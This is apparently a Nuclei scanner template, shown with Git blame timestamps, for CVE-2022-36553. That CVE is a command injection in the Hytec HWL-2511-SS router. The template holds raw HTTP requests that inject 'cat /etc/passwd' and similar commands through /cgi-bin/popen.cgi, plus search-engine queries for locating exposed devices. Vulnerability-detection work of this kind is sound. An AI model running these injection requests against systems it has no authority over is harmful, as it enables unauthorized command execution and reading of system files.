nuclei-templates/http/cves/2022/CVE-2022-36553.yaml

64 lines
2.1 KiB
YAML
Raw Normal View History

2023-10-25 08:50:46 +00:00
id: CVE-2022-36553
info:
name: Hytec Inter HWL-2511-SS - Remote Command Execution
author: HuTa0
severity: critical
2023-10-25 10:09:27 +00:00
description: |
Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-36553
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/cellular-router-rce.yaml
- https://gist.github.com/Nwqda/b27418ab801eb0b9cdbe8d042cb0249b
- https://hytec.co.jp/eng/products/our-brand/hwl-2511-ss.html
- https://hytec.co.jp/eng/wordpress/wp-content/uploads/2019/09/hwl-2511-ss-ds.3.0.pdf
2023-10-25 10:09:27 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-36553
cwe-id: CWE-77
epss-score: 0.18047
epss-percentile: 0.95662
2023-10-25 10:09:27 +00:00
cpe: cpe:2.3:o:hytec:hwl-2511-ss_firmware:*:*:*:*:*:*:*:*
2023-10-25 08:50:46 +00:00
metadata:
verified: true
max-request: 4
vendor: hytec
product: hwl-2511-ss_firmware
2023-10-25 10:27:44 +00:00
fofa-query: title="index" && header="lighttpd/1.4.30"
zoomeye-query: app:"Hytec Inter HWL-2511-SS"
2023-10-25 08:50:46 +00:00
tags: cve,cve2022,hytec,rce
http:
2023-10-26 07:04:01 +00:00
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912 HTTP/1.1
Host: {{Hostname}}
2023-10-25 08:50:46 +00:00
payloads:
command:
- "cat%20/etc/passwd"
- "type%20C://Windows/win.ini"
stop-at-first-match: true
2023-10-25 08:50:46 +00:00
matchers-condition: or
matchers:
2023-10-25 10:09:27 +00:00
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
2023-10-26 07:04:01 +00:00
- "contains(body_1, '<title>index</title>')"
2023-10-25 10:09:27 +00:00
- "status_code == 200"
2023-10-25 08:50:46 +00:00
condition: and
2023-10-25 10:09:27 +00:00
- type: dsl
dsl:
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
2023-10-26 07:04:01 +00:00
- "contains(body_1, '<title>index</title>')"
2023-10-25 10:09:27 +00:00
condition: and
# digest: 490a0046304402204657d34772f2deff49f627ba1c9ec8b1335ed767d018869c5be951a262c021dc022057f75cfbd0a3ed5f13fa3b0fd68c84838d68a0b9db4eb29731e5ef07bd47f182:922c64590222798bb761d5b6d8e72950